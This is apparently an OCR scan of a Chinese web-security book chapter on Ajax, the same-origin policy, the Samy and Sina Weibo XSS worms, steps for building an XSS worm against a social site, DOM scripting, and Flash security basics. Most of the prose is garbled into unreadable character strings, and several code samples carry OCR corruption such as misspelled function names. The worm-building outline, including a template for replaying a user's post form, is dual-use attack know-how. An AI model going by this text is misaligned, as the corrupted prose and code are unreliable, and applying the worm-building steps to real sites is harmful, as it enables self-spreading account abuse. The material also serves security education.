Ii) JIR 45 9% J2 3% POST i 3K (KRBl i F -

var xml = new getXmlHttpRequest(); /7 BIEBTERR &

para = "id=ll&username=cnndry&password=123456"; [/ BREHEIE

xml.open ("POST", " /web/login.php?" ,true); [/ WMiafk R posT kK
// B content-type BB, SRS 88 w00 AT =X AEIR

xml.setRequestHeader ("Content-Type", "application/x-www-form-urlencode") ;
/) SREBRITERE, FEREE

xml.send (para) ;

5.2.4 HTTP AL

¥ H] XMLHttpRequest 3 MR U T A0H, hkd & fEEE MR % 25 A R R S A5l @
& XML. S0 — N AEH R 5B 1) A B AR 45 45% i 15 B30 (10 481) 7«

var xml = new XMLHttpRequest(); // G|RBRiERHR
xml.open("GET", "/url.php", true); // ¥k cET iEK
xml .onreadystatechange = function () { // EXRERAEEREAR
if {xml.readyState == 4} { // HEFHSIRE
//¥ml.responseXML & XML 34
//xml.responseText BHFIEBEHANLEX
xml = null;
}
¥

xml.send();

T T e o s
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52 Ajax HAMEE

AN AR L, BEB A HTTP MNP IR RIS 4 8, totm,  IRS5- 2% 5] i &
XML 34, B4 responseXML HLAFAE (K1 2 DOM SCHY, iy HAth w45 A7 HFE responseText .

MBIE ARG, B U 0 E 4 I £ e X AT K, BT LA RS S A SR B R I AR
K94RA, A onreadyStateChange &% 1E ] . onreadyStateChange 9447t readyState J& ' & 4= 23
W fi %, readyState MEEZR T MATIERIGRE, 78 S00-40 FEFE FF b o] AR X ME R T AN [H
(AL PR . 1345 T LAZ JRUHT T XMLHttpRequest (IR PEBHT, 0 RN MRV, 3 RORIEELLTE -
~—H. readyState JEYEMI{EAER T 4, 50T LA AR S5 88 3 [ g i 352 F0 408 364 T U ]

KT UL Ajax (IEEEZ 4b, iERATKE —NHEREMAFF. HE— HTML 308, ALl

FARHS:
<html>
<head>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
</head>
<body>
<script language="javascript">
var XMLHttpReg = false; / /6 XMLHt tpRequest X &
function createXMLHttpRequest () {
if (window.XMLHttpRequest) { // Mozilla ZFM¥i3E
XMLHttpReq = new XMLHttpRequest():;
}
else if (window.ActiveXObject) { // IE MUEEE
try {
XMLHttpReq = new ActiveXObject ("Msxml2,XMLHTTE");
} catch (e) {
try {
XMLHttpReg = new ActiveXObject ("Microsoft.XMLHTTE");
} cateh (e) {1}
}
}
}
// BIEREREAE
function sendRequest (url) {
createXMLHttpRequest ()}
XMLHttpReq.open ("GET", url, true);
XMLHttpReg.onreadystatechange = processResponse; // fEEER &
XMLHttpReq.send (null); // &ZFEER
// IR EI{E B R
function processResponse() {
if (XMLHttpReq.readyState == 4) { // HEM SRS
if (XMLHttpRegq.status == 200) { // {SEE&MiELE, FA4EEE
var res=XMLHttpReq.responseText;
window.alert (res);
} else { //AEALESR
window.alert ("IEFFERNABERE. ")
}
}
}
1/ BEAE R
function userCheck() {
var username = document.myform.username.value;
var password = document.myform,password.value;
if (username==""
window.alert ("HPBTEASE, ");
document .myform.username. focus () ;
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return false;
}
else |
sendRequest ('login.php?username="+ username + '&password=' + password);
}
}
</script>
<form name="myform" action="login.php" method="POST">
FAP4. <input type="text" name="username"/> <p>
#enbsp; &nbsp; 8. <input type="password" name="password"/> </p>
<input type="button" value="H®" onclick="userCheck()" >
</form>
</body>
</html>

FAP AR T & R4S K HTML 3CAY, U0 w1 & 5-8 Bor.

3 C:\Documents and Settings\AdministratorVEHEivtest
TP WEE EFQW wWRWw ITAD Mo

x] @ Jmx emx () &

il E]C:\Do:unmts and Settingshhdministrator\SLHE test. himl

RPE: |
EF B

E:3

aE5-8 MHTIM

fEiZ HTML CRH ST “HP 47 A “FEilS” MAMARR, MAHPMAMHNGER, i [
) e R A RS ) userCheck()PRH. 1% B $ BT SE R 72 S ({5 BIFEAE, #iil
AP ERERER AR sendRequestOei %, XA R IEHAZ M loginphp &i¥— Mk, SERiE
3K J » onreadyStateChange FH4-45 %~ processResponse()ef HUK Ab B XMLHttpRequest X % ({14047

g5,
login.php 2 Il 55 2% v () b R AR P, JCACRS Q0 F -
<7php
if ($_REQUEST ["username"] == "ajax" && $_REQUEST["password"]== "123456") {
echo "True!"™;
}else(
echo "False!"™;
}
2>

PHP F2/7{l i$_REQUEST 22 it JRHUIRACHI I F & R0 {E B, RIGHT S M IIE. R
(I P 4 “ajax”, A9 “123456”, 5 H AN “True!” MIXHEHE, FNFEH AN ZHA “False!”
X IGHE, Wi 5-9 R 5-10 fras.

KT Ajax HARMHEBBIIXH, F A5 RATEHE 8% 2 MR N
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53 MEBRS

e

 Intexnst Explorer

Q- O X & w
8152, £ htip: //127.0.0. 1/ Lest. hial - T
BpPa, s
g T3, eeenss
&]“ ..'.hurul.
i e
AE5-9 #BTIEH
3 BERp: /2127, 0.9, W test. htal — Windows Intecmet Bxplorer .
053!‘ o’ % =] s BE R l:@ e L |
B0 & htp: /N2T.0.0. 1/ test. hial v E)uE GE >
RPE, 123
% B3, eesese
(¥
| Sl -
Nicrosoft Internet Explorer 5:5
s ; : [ | oy

AE 510 iR

) musse

1 0 A2 0 O L K P 5 B0 25 P S, )t R R S B R R, AEZ8 KU i B N
BREKA A, 0 AR 1 2 AR (Security Model) ##ffHigh “4Ti” k.

5.3.1 8

FEVH SN, ¥ (Sandbox) (K945 HT Ak Bl 11 3% 2 8002 P (00 vk SEHL L 22 K 10 fn g 2,
Hreag IR E 2 L Vi ). i, Google (3% 2% Chrome SRAFH] T ¥HIBEAR, LAKEE JavaScript
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g5&E XSS Worm Hi47

44T HTML (T, LLAREG1EIZ1T. Adobe 2 6] 7E Flash B InA T ¥ 8 <2 ThhE, P
1 A H S R e N fG Flash SC44 [f) 328 i 2 326 B4

e t, WHHAR—ADFAEFY, XT JavaScript K, YW OLMFE THYSKKM R "]
PAARLS, 76 Web [N H] oh 5 S48 ) K B JavaScript, 93T F AN 5 (6 (68 0] fi 2 L BEAE ML RS L3R
17— BACHS, S JavaScript "PEA KR, AT H O, LBMBRFTA Word SCRSIIRRS, B
HEAI?

A T BRI A A, ROk T ik AR i P 0L, JavaScript #EHEE N REV R IEAT .

PR AR IOEEE, RN, BARGEY i) ) Y88 BT e o SEHL SR o5, S AE VI 1)
e F AR PRI, X BT U R B A . FrEL, SR Web TLHIK B test.com 3,
B4t 25 Web AR 45i# 3k KI5 45 test.com, X HL, ANl it A=y 854 — P TEMS [ 5t
AW .

532 [ERZLEEE

[F1¥# W& (Same Origin Policy) 2 —MREEM L LS, L& WAL EEHK L2 2EER
HE, ICH B b3S SOR sl B A 2 A AN RIS T 4R

FRPE XA HRE , a.com B4 T 1Y) JavaScript LB E b.com 14 T X4 . thi, baidu.com
344 T 1) 0L i 4075 ) JavaScript {059, ASfig il Al google.com 1K 44 T ¥ 1T i A 7

JavaScript 442007 #1405 D] U1 38 () [F1 U5 SERE, 1048 Ajax (3L |, Ajax 902 i JavaScript 4160 .
ifi if XMLHttpRequest Xf % SEILA) Ajax i3k, ARER AR LA, Hin, £ abe.test.com FHITT
[fii, AfEl def.test.com $#24Z Ajax WK .

XL R SR R IR A R . 26 5-3 TP 34511 ik s B A S IX — .

# 53 2l

URL 1 URL2 2EF fLVRERE # i*
http://'www.a.com/a.js http:/f'www.a.com/b.js f [ 5, 44
http://www.a.com/a.js http://www.a.com:8080/b.js i [ 32k, 4% A [l 3 11
http://www.a.com/ajs https://www.a.com/b.js % )8 44 Al B
http://'www.a.com/a.js http://127.0.0.1/b.js i 184 53¢ 1P $A[A
hitp://www.a.com/a.js http://test.a.com/b.js H AR FEA
http://’www.a.com/a.js http://www.b.com/b.js i AT 45 45

ME AT e, Mis 2z EfE S22 R EEREZM, W htp/wwwa.com/ajs i
http://www.a.com:8080/b.js [ iy 11 AN — ¥, Jr L2 A A~ fE 3 {5 :  http//www.a.com/ajs Fl
https://www.a.com/b.js 4354 ] T HTTP 1 HTTPS 4%, HTTP. HTTPS. FTP % & /& T A7 i) 1
B BT EAASREIAS : 1M http://www.a.com/a.js Hl http://test.a.com/b.js HLAR ZAA A TR 44, (2 4%
AR, BB REARITH.

chtn] WL, () SRS A A oK B A AT AT ot i BB N BB R A e A0, Wk S5-11 Frak.
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54 XSS Worm 1143

HTTP GET
Domain A

HTTP GET

Domain B l
\ m

aE5-11  [RlEHRAE R 7

ARG . BRAGEE R Iframe 4825 1F 18T 8 5% 00 M i B iy S i b, 4P
AEF TSR P 45 R8sk, %00 i kv LA I JavaScript SEHE|H S R PP A2, X
IREZZ A TTENCY: 2 Y

Mg T [P 4 Sms 0, F P st e O 11 O IE 78 7535 10 DL IRl Sk (T 1F 46 30 5 i 1

PRI, 2RI R YRS PR I R A S By . AT S LR R R S AR FE 1)
Mg, AN Al G b 7 A T R R AE, Xk YRR B TRl TR, JPRFABRAEN &R
- PEMEEsE ik, R JSONP. Iframe. Flash 5. HURBEEE AGEN K E ZHshig, HRED)
Fil: (16 T 0t 2 A 2 4 BRLBSS

B AT 1 o0 B 2% o0 R ) 5 B R (A, P AR 2 B R I & Fh it XSS 53 A<k
AR — .

21 XSS Worm 443

HAr~ ik, EAIICEA4 7 Web 2.0 [ 3EARES LLSAH %4 ) B8, /) B e 7 3 a8
(R4 R0E, 53] 7 —SeILhf Ajax FiR. EFEEXERHRE, BT AT XSS 1755 Web
A v g K I el b ———1% i B A b e

5.4.1 ERFFI

AEK, 58T Web 2.0 fHE 2 FHI. Ajax shBM ITBRRIFEAZ ML, XSS #74 A%
L% A RS BIRE R e ) B TR AS .

2005410 J 4 H, 5 L5821 Web 2.0 4 AR 1 o 2047 A FE [H 413 44 #1524 MySpace
L5 7Bt JavaScript &4 ACH%, FIH Ajax JriEibJCE P AEREA NS (R B FAEEE I T
b A%, FINAEMTIRA AR R H BN LT “samy is my hero” #)5# .

I 19 % () Samy S R4S, G50 SR R 1R AT WAt T BAZE MySpace 4
MBI L, WRIGEAFIEK, TR, MMBEFRT —F MySpace f1catE, ALK
NI b A7 A2 XSS il . Bli)s. Samy {E A AN AR /b5 N T —Bt JavaScript {014, AN
BALfE A A SEAMAGE D RATXBURD, & RS R RAT T ZHE MR, O
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e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A
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#5FE XSS Worm 4

JavaScript I3 BE &t 2. FFE, (EMAFEZHFEDARMPABSYEY, #it Samy XSS
Worm 7E MySpace L IERLHE, — AW BER 7l 100 TR BT ARG dE, e
T3 MySpace [z 5525 A 10t -

JG#K, Samy BUEEGRA, A LGNS 90 KK IR .

Pl 5-12 BTz A% XSS g S B 4 Bk i

Estimated Time Estimated Number of Infections
12:35PM 10/4/2005 (virus begins) 0 (starting number)

1:304M 10/5/2005 1

8:35AM 10/5/2005 222

9:30AM 10v5/2005 481

10:30AM 10/5/2005 1006

1:30PM 10/5/2005 8803

6:20PM 10/5/2005 919514

6:24PM 10/5/2005 1008261

7:05PM 10/5/2005 MySpace goes offline

A 5-12 Samy XSS Worm ERE-IEN

JIT I DI 0t B A0 L (XSS Worm ), 5207 L J&—BUMASER ST, 38 A5 M JavaScript 2% Vbscript 5 X,
LERI PSS XSS T 17 I B T o 968 ORI PR 35 a5 DT £ XSS 1] M 448 2 s M U A T A S AT R e

EAHERE AL, XSS & d SURE Web 2.0 85 B I —Rb, 2 0 NG — Rk, &5 R 5
() XSS Wi LEAT k. Web 2.0 i HULA7 A, 1 CSRF Worm, Wi44 8 3, %266 i 1
W 355 () CSRF il it 47 8 ik o

2008 4, 80sec A LURILE EEH P O L B IhREALAA4E 1 CSRF Jaild, FH-&54 HAth
GARI R T — K CSRF $F MEGHIAK (W[Z% (AF Hi CSRF FdXti)), kBt 1
SRR

5.4.2 XSS Worm HH B E4

XSS U 1z BT LLREAE K e e) P PRt AL 4, DN 2 S I Y as - S M, b IE. Firefox
U, RIS AR AZ P28 FT P i ACHE B 3R AIE, 1 SNS #AZ M B& 0 KM H B, FTLLA S
A XSS Worm Bl i) 3= 95 H k.

XSS i HOlH A 7R Ajax HIAR . Ajax (BFEHIBRAE T2 AR08 BN 7T SAb B, 2
kA AR, ARERNE R, PR . ke, iR o 2 AT 82 0 06 42 3 1 0 5 ki
P, i & AR S DR, LT R .

—ASEREMK XSS Worm M BGHBREM F .

© Hriki & R H PRPS A7 E XSS Wi, I H Al Llgis XSS i d.

@ FH-AME X i EEm)D) LT XSS ¥k,

@ qICH P A R A AT, XSS i du B AT LA .

® KW P REER, MROEFMPIT T2 WRES R UHAT HAb R4 .

o GRELHINTIZA R YY,  WR A AR R i R R I B
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5.4 XSSWorm M4
B 5-13 s miFE B4 Ak T XSS Worm (R 8 it #2.

(R AL IXSSEE L 1l LU T XSS Worm ]

’ BN T CniE ) G L XSS

= e ]

f

. Y

A=

B i o B D o] T S e K

1 |
=)
2 =

< BRI REA Gak fid alert O sl AR A

—

=

= T =

- S

gt

‘“ NI 40 I A R ‘:_, S TSP SR——

. -
e

A 5-13 XSS #B it I R A
5.4.3 XSS Worm Zi#f

W5 — eI XSS G HUF A M, — BT ERT Web FFRER, HAMEEN HFRFEF W
RN FH 22 8 A XSS Worm [F)NE 45 0 FE 17 B 1 i .

B TFR, TADPRFIHT XSS Worm (1 Fg it F4

(1) 34k XSS .

FoE, Bk S E HAR M T4 XSS il .

{5 F AR5 4 http://www.target.com, %P3 —ANEH 4 F) SNS ML, I B4HE KEMR
e XA T, Bah#F il SR ARE. MERHE. BE%S 0 XSS, xibfithth BA
Bern v ) i

T, BAEREE CAEE—A alentQOX G HE, IBAEE— B KTh .

(2) SR HAT A .

FIH XSS Worm A LAMSAH4 2 X RE B T KA 18 1 R

BB e AR R AR 3 XSS Wi, X B i k7T LAE XSS Shellcode Bt AR AL
W5, BahaaREGBHAH P AFE A ARE, BBy XSS WiFm, Sifmazs)
Biff. S RGEERIA Ajax R ESCZER PO AERS R, HI0%E JavaScript {10 B &
il 2z .
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W58 XSS Worm S#

B YD FRAER R, ZLEEEARMBEMIN S FRBS T AR, RGN T N “ I
ifi# . BGATA AR %2 HE D ARROANBLBER, JATERNBRE, 2] XSS 4 2 i
AR W AN

Heti FSEB Ll ERAR T E I #) Ajax ") XMLHttpRequest X%, | Fi ttxd %] AZE 5 6 1151
PATAEE B fE .

(3) Wieedds 5 .

ERAT WM R, FNW K4 POST $#&1E, POST MNER e & TH 4. SCFER
B, CEAEFER. XEE R XSS RN ESY, aTLMER HTTP it TR Rk
WsockExpert Jt 3K LB 4R T, Al LA Sk M PR R 5 5 10 P 100 £ 50408 (00 e -

A5k, B E f il s T R SR P GRS, XK BHIRE A “ME—E",
LENEEE S -

<form action="http://www.target.com/post.do" method="post">
<input type='text' name='title'>

<input type='text' name='content'>

<input type="text" name="user_id" value="[user_id]" >

<input type="submit” name="go">
</form>

AR ME—{E [user_id], J& SNS RISSHEAT /7 S 43 IR0 (V4L 65 cho B R ok o0 23 SR X
UEEME— (. R, LR EHARR G, mMZEMHF 4. MESRHES.

FERELETU, A B A A v s S T LR R B ME (A, AR BI ik, B & EIRIN
(R B AE s i . L AR R T AR R B, A EAE ] DOM HEARK TR, sAIH
XMLHttpxmlhttp 3 S KA e 1% i) .

A, AP M0 (http://www.target.com/testA) 47U F AN %

| RERFBOHEE, ZBEEARITL web REHA, B84F xss. soL. CSRF HFHA!

B A T 2K XSS, SQL. CSRF %5 CHET, W LU¥H XMLHttpRequest X % SCH .

R TT M T FE AT R EH BFE DOM M ZFJji%, #lin, document.getElementByName
HFARF3HRE name (FI<htmI>FRZEAH K KI5 Beee e

FELXKT DOM L ARMINE, BAVE F—PMdATIHE.

(4) feiftmye.,

g% SR B I RIBUR L, A AN XSS Worm (%0, FRIXEE TR )G, Bt i e
AR LU AR Bk

5.44 zf DOM £ XK

Ry — S 5 #E1) XSS Worm, A~ n il et BAE 5 £ DOM 5 s HiAR .
Wiy ia] S RIJCE ) DOM HTML K4, af UE A AR, 5 W gy H— AN e bR
HEF (D), #RJ514H] document (¥ getElementByld()ef ¥4 ij 1] -

|  <div>
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i i DOM & —H I RS, 53 SMEF PRI K 77 7:

document. getElementByname / /EBIEE name ﬂ@ﬂ&_tmbﬁﬁ*ﬁ*ﬁ-ﬂ
document. getElementByTagName /B EMN<html>iREHEER

B4 ) DOM JCE LS T4 HFikh: CAMITHE. A innerHTML JRPER AT LA —An P
R ) HTML FI3CA . B4R F:

<div id="trl">
<hl>hello world!</hl>
</div>
<script>
alert (document.getElementById("trl") .innerHTML) ;
</script>

LR H)EAT 4 R A 5-14 FoR .

& D =@ Pmm dremx O % @

Q) Q?WC'\Dom-nts and SettingsiAdninistrator \SE\ test. hinl -l o EE T

hello world!

Nicrosoft Intermet Explorer |‘§'

L ] <H1 *hello world! </HL>
LAY

g_}EEﬂ'ﬁFﬂt File ///C /Toeument sX20anas20S e tie § Hahe
afE 5-14 REUHTML 1838

] innerHTML Jy {6 a] BL[s) HTML DOM R4E AN 2E, B

i <a href="#" onclick="this.innerHTML="<hl>this is new message</hl>' ">0ld message</a>

FI3 WS 48 4T IF & ik HTML ACRS IS0k, SUmmnd 5-15 Bras. Hiili Old message #I4% % #,
S T S Y AT R N, P 5-16 B, {HAE A 43T f<htmI>H5R% .
A <htmI>FREEE A AL E 0] LR E N -

a.beforeBegin: IBAZIFREFIEFRICAT
b.afterBegin: WBAFGREFIGIRICE
c.beforeEnd: HATIFRELTEFICH
d.afterBnd: BAEIRESRERCE
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#5%F XSS Worm B4

3 C:\Documents and Settings\Administrator\ Sl

Z C:\Documents and Settings\Administrator\ THE @EE Z=EW wwe ITAD B|Hho
e ®EE@ FEY WReW IAD ®HE D x &) o sremw

ﬂL] ::] j ¥ _ Lot £ ik @) ¢1 file:///C: /Document %20 and¥20Set tings/Adnini stratq
B O e__]l::\ﬂomenls and Settings\Administrator \SL0Y

this is new message

AE5-15 HHMENARE AaE5-16 F innerHTML BAFTAE

B 7ol LAIRIL G ENEE, fEH DOM £ a] ASRHURI 8 0 2455, R getAttribute
Fil setAttribute 7 yLBIR], W F:

id("everywhere") .getAttribute ("id"); // RESFM
tag("input") (0] .setAttribute ("value", "your name"); // B Al

MmN DOM ) F 2 ik AT createElement()pA %Y, % ek ¥ T AL P ERZIG B C & .
document.createElement() fE7EXS G rh @ — /M0t %, % % 5 appendChild()& insertBefore() /7 iZ: 1k
. I, appendChild()7E 15 5 i) 115 A FIRARBINF 71541, insertBefore()7E 1 #i 1) 747
SRR (AT R A A A\ BT (Y R

F 11245 % B document.createElement()f#] i

<html>
<body>
<script>
var o = document.body;
/1B E
function createA(url, text)
{
var a = document.createElement ("a");
a.href = url;
a.innerHTML = text;
a.style.color = "red";
o.appendChild(a);
}
created("http://www.playsec.com/", "playsec"”) ;
</script>
</body>
</html>

XEAC 268 — <a> e HE, BN DNBRA playsec (EIZEEEE:, BEEht i R PEE
http://www.playsec.com/.

B 7 AER LL_E) DOM J5 iR EUFI B L B GE, i o] LUE ] JavaScript $2 400 7 304740 B)
1 indexOf/substring/lastindexOf %% .

IndexOf 7% BBl String MRAF—AHAFFHEH PR
strObj.indexOf (subString[, startIndex])

indexOf JyiKiR [A] —MERAE, R String M RN FFRF R MIFHRIE . mBRATRE 775
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STt W TEORMX A2 ) 2 F, AT ANNAT R 2 A B B AT AL 1%, 75 W2 AT Il SE BRI N R ST . BRI Wbkl 134
A, WAETE A PRI RIEBORIEF AT AR R EUR IO T RCR 2 4b, #oE S A, LI DU & IERR -34S, SCRFE N IERR.
DA,

e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A
B 5 M http://www.17huan.com 1% 2.5T s il oI S5 RE BEUR, PR HCR I R s

55 WREMARAHH
$, WEEME-1. R startindex %L, W startindex # 41EF; MR LB KN FEFIERTIER,

WA =4 A B K T RER 5
N R B T indexOf Jy VA A

string test="asdfjsdfjgkfasdsfsgfhgjgfjgdddd";

test.indexof('d') =2 //MBIMBGENdE—REDEE

test.indexof ('d', 1) =2 //MBIBGEEN d NE=TFHFRE—HINEE
test.indexof ('d',5,2) =6 //MEBEGELd ME s EFBEEE 2 i, PERESE 5~7 i,

Substring() /7 VA K ThE IR (B4 T String XS b (36 E ML B K 77478, Akl

i function substring(start : Number, end : Number} : String

start ;&M 0 FFUGIIZ T BE, R FRHRIREAE, end R FARFRMLERMATE. W
B start 5% end & NaN Zifi#, WA h o.
T ) 748 F 1 1356 8 SubString() 7 ¥ (K, $UTHCR M E 5-17 Fras.

<html>
<body>
<script>
var str;
var s = "http://www.playsec.com";
str = s.substring(11l, 18):
alert (str);
</script>
</body>
</html>

Mk (I %_] C:\Documents and Settings\Administrat ar\iﬁ\test, html

Nicrosoft Internet Explorer E;ﬂ

] playsec
(30

aE 5-17 SubStringOBafE g

I 7 T B b A7 AR AN BT 36, I T B 38 A0 I I A1 matoh 7 v ICRCER X
AR —— .

L] SRR

2011 4F 6 H 28 H, EPAEAKMEREMVFEZ ——HiRME (http://weibo.com) #il XSS
Uit L ik, 52 77 i 9B A AT Y AT B0 B R L £ AR, P9 BB “ MBI AE A B4R B 40007,
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#5E XSS Worm El#7

“3D PO S M E SRR 77« AT AW BN FAL A S S ERERNGE R . P e
dif R4 Hh ik — 4k “hellosamy ” (KT, SRS ) JLAR &R ACR 36 & 47 [RIFF BE#E Hu dik
(IR -

PR GLE ) XSS i B A UG T 16 20 8h, EYHIH P stk B 33000 4, 0] AL Web
CHffEEHaER, WA 5-18 Bk,

v
4
ok
v
g
g
Fi
kA
3
F

AE5-18 B XSSERHBS
3K Pl o R A Y XSS, IR T ER IS ) S i LA A S
A=,
0 B2 B UARe pRIdAE 4%, BR T 08 A G30A 0 KK P BEAh, EocR R BGER AW T 4
2 T 22 Ll K CSRF FHIA.
o A AR B 5-19 B
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DT PTIEBORMX G 2 Z S AT ANAN R 2 A 8 AT A, A7 IS 24 FAT 1) SEBR BRI ARSI ST D2 SRR T 2L
ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .

IR TEHEMIT B TR A

B B S S AT AU HOARE BN G B, FATH H BRI A [ Oy S EARE I gle o sl | 4R B4 i o A% 5 56
B 5 M http://www.17huan.com 1% 2.5T s il oI S5 RE BEUR, PR HCR I R s

LF

ERFRIELIRG © IR RISRICED " HESIEMRLEE. &

ER T

A

AFIEEEN BERE

300

=E

_p

Bl

A® 5-19  WE XSS EEFAEF

TE LI L4 5 AR 1 Web i SURIBIEAT 0, AR 1A EOUH T HIHT Web i S B,
CAREHEBH AN SE GF B v & B A HAb s R Bk, BUIERAR, SEPEX.

PR TTIR AT B T e
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456 % Flash B %4

Flash j& —FA A KRB HAEAR, A5 EBREZ M@ R ZANH, EEHH RS
TECPRAST, i A ol s P L fth B A FH A2 B DB . Flash 7624 Web MR8 £ oM ThRERI R R,
A7 e — o2 42 o]

Flash CFF2 R R, Fithark TREL4ekE, HERGEEEG T £RER, HalllLii®
FhECHAT M.

{ETF AT Web (K& W HIFEFF (Rich Internet Applications, RIA) B, 1% Flash W HFEFEFF
RN 538 BOR B P IE 32 25K H BB A & 2 b, ] %24 X K3 XSS.CSRF
Fe FoAth i A\ B E R HE AP A2, B Flash 24 T —FhBT B B8, JUILR AL & AR E

b B Flash B FIFERF .
EIX T, RATHEMERT Flash N %4, 6 Flash f)— 25008, LN
o ) b 2 A

(31 Fash 9t

Adobe Flash j&—Fp A8 Bk B2 HAEAR, ) ZWHTE Web Mk, LU 1 3)
280 R 5 0 LA R . & B ] th Macromedia 23 7] iF, %4 6] T 2005 4E# Adobe 2
WO

#adeil, SEROAMIT 3 000 000 4 AR IT & #F ML HIHLEME ] Flash, 99%M B A7 L M oh ik
(16 WL %% T Flash Player, 75%M{ELLMAIRA T Flash £2K, 70%01) 48 k& 2 T~ Flash
TR .

P 6-1 7k —/N LY () Flash 1 ) #K P

6.1.1 Flash Player 5 SWF

FIZAT Flash N FRERE, 30 548 2420 56 42 %% Flash Player 2% # Shockwave Player. 7Eit2:1)JL
AER, AT AR Internet H P HCR S HELY, 1o BRAE A990 D A% A8 %S 1 Flash Player.

Adobe Flash Player f&—a#i) Z AR M. LA B ORI PBEAS, REub7E SR K2,
ERGMB & LR, Dhigssk, WAk, wEWDE 6-2 frx.
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6.1 Flash &1

[ Y som  ewm aw mroax sme uR W FEle LEQ

HE: [4®Flashal X ] iSwitter - EAppsHL Uil . B EEDD
5 L anm fi o

ptiE -

LT
Fapps

iSwifterB—I R . WHFahl RN S Wi
AN, BR cEmiann
IPrane apas m ipad

iSwifter

BATY 2

Enm f

L-ES L

= -

& 340 § 0T RN naghe RS il one EEF

e T 1 SRS A sl
T 5

fal

aE6-1 FlashB9E A a® 6-2 Flash Player 5k

SWF (Shock Wave Flash) j& Flash ()% HI#%3X, '] Flash Player {8 fitizZ1T SWF 4. %H4b,
SWF AT LA LA A 2 ™ 53 g q7, 30 BE 283 SWF R B HLEH W B 6-3 Fias.

( Browser A
HTML Page ?
4 < N\
SWF ByteCode Interpreter
SWF ByteCode
. J
o S

aE6-3 W5 FRERE SWF fuitER

W WL AHZAT Flash W HIFEFEE2L L R IR

@ %% AR HTML 3OS

@ f#FEIR AW Flash ffift

@ Flash T SWF F1565;

@ $F A Y88 @ L LiveConnect $2 O E Tl .
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# 6% Flash RA%RS

6.1.2 # A Flash X%

{E HTML U A Flash, —B{d Hl<object>H1<embed>#7% .
(1) {#f FH<embed>#5%:

<html>
<body marginwidth="0" marginheight="0">
<embed width="100%" height="100%" name="plugin"
src="test.swf" type="application/x-shockwave-flash"/>
</body>
</html>

embed b5 SZFF Mozilla 751 {0 W 28 B IL A 32 FF Netscape {3 %48, 2448, IE thaT LA
% embed.
(2) {lif<object>F5%:
<html>
<body marginwidth="0" marginheight="0">
<object width="100%" height="100%"
data="test.swf" type="application/x-shockwave-flash">
<param name="src" value="test.swf" />
<param name="guality" value="high" />
</object>
</body>
</html>
XA AR W3C B FRUER] object JLHE . <object> AR T-5IAXNR, HWE®R. &
A0, #WA0. Java Applets. ActiveX. PDF LLJ Flash, FHT IE R4 ok # HoAth 2 FF Activex #5441
LA o
(3) f#Hl<object>+<embed>$7%:

<html>
<body marginwidth="0" marginheight="0">
<object width="100%" height="100%" title="flash"
data="test.swf" type="applicatien/x-shockwave-flash">
<param name="movie" value="test.swf" />
<param name="guality" walue="high" />
<embed src="test.swf" quality="high"
pluginspage="http://www.macromedia.com/go/getflashplayer"
type="application/x-shockwave-flash" width="100%" height="100%" ></embed>
</object>
</body>
</html>

A1 T W DR 2 o YE A% BB IE W 5 Flash, i <embed>#7% i £ M /E<object>Fr %N .

6.1.3 ActionScript iS5

Flash £ A & () 1 4 #5 5 ——ActionScript, iXFi8 5 F2T ECMAScript M4gfEiE S, H
K45 Adobe Flash #EAAIN HIFEFF. ActionSeript = %47 3 /MR 4A: ActionScript 1.0, ActionScript
2.0 Ml ActionScript 3.0, H:h 2.0 F11 3.0 fig it F Wi A7

A Flash [T # WAZ M08, ActionScript /&3 T JavaScript 1], 10 P98 BAT LB L 45
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6.1 Flash &1

t, EAT LSRR FRARRE S, ez —NEEX R Z: ActionScript i i) il 4
564 i1 Flash Player f#BERIALTE, SEE CHFMMIEEIAIC: 1 JavaScript 18 H i) 5030 B 74 e W1
HHE AT () YO 28 A Rl T AN [R]

)48 Flash N T R4S ActionScript B 4<n] LL{#/i] Adobe Flash CS3 (& HAbMA). FHA
SRR AT ITRF, HfiinfE 6-4 FioR, {EBT @A ESE “Flash SC(ActionScript 2.0)” BIFTHT & L.

Fl

ADOBE" FLASH" C53 PROFESSIONAL

LR 3 R e Wk B e
SR T Flash T{kActionScript 3.0)
B Frash T kiActionScrot 20) e
T Freen zik(irah) @ PleshExchange »

= ActionScrpt X%
= ActonScrpt X
= Flash JevaScrpt T4E

= Flash 38
y RuAIT- Crestive Smate 3. 3 Mg
WO kerabat 9 Pra
- CERSUMHT PP W, TEENSE
- HEARE
TAA T

a[E 64 ¥ Adobe Flash CS3

A, (ERPEES ‘WO KETH “afEdme”, REE [Fo] tRIERIT T EmR.
EIXHE [ LL%Y; ActionScript JIAS, 4 A trace("Hello World");, 4% [Ctri+Enter] £ & 8 {# fig it
WA RZIT AR, 2P 6-5 FE 6-6 Fis.

ActionSeript 1.0 020 +| sk O S F 82 /18 ¥ % BIBE
BT 1] trace( )

B] hetionSeript 2.0 82
2] &R

2 Enw

&) =\

A WEEEY

2 wm
) mm
»] mam
) mEae
2| s
2 BW
(= %3

|
- A SRR
o EE1 W1
- i BRI
o EE 1 W o HE 1 -1
RifFELIF.B2N

aE 6-5 I{E ActionScript BIZ
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-] 6 .i Flash NARe

IO By PO W0

Wl x|
Hello World

aE6-6 ZEFH Action Script HR

Flash (1)L RV ABIX L, F—WRATHE S — MBI 15 B —Flash &2 HA,

/| Flash Z2H8%

Adobe ] Flash £{ R LG EREAAT T, WIEZBAAH TR shmm) &, i HiEH
KT K ST A N LR . (580 T ActionScript, Flash A& T S5RGBT INEE, 48R, Al
Mol kPR AG R Bz b, K (1) R TR 1) & 3 Flash %4, T Flash (1)
G H AR, AFERAI A XSS, CSRF %,

P 6-7 BT 75k A\ 2001—2008 4 Flash il f0 481 $ck .

Number of Vulnerabilities in
Flash.

25 7

15

10

2001 2002 2003 2004 2005 2006 2007 2008

AE 6-7 Flash WEMG TR

A Flash7.0 W tLA3K, Flash [f]% 488! (Security Model) BLIFUAIZEIT, FEIRLELLF LN
I FR T fi -
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6.2 Flash Z£#&E

IR b a5 T R BEL A EAMIESE Fr 2 [ )32 B ANV ) 5
31650 YE AR FI Flash 3% F 2 (Al 928 ELAN; )
AL SN W SR . SCARSTAF IV ) 5

425 il ek LAt AR 55 4% RO 3E A5 55

NHIVEAN A4 Flash 2228 b LA LRAL E R RS

6.2.1 Flash &4 L%
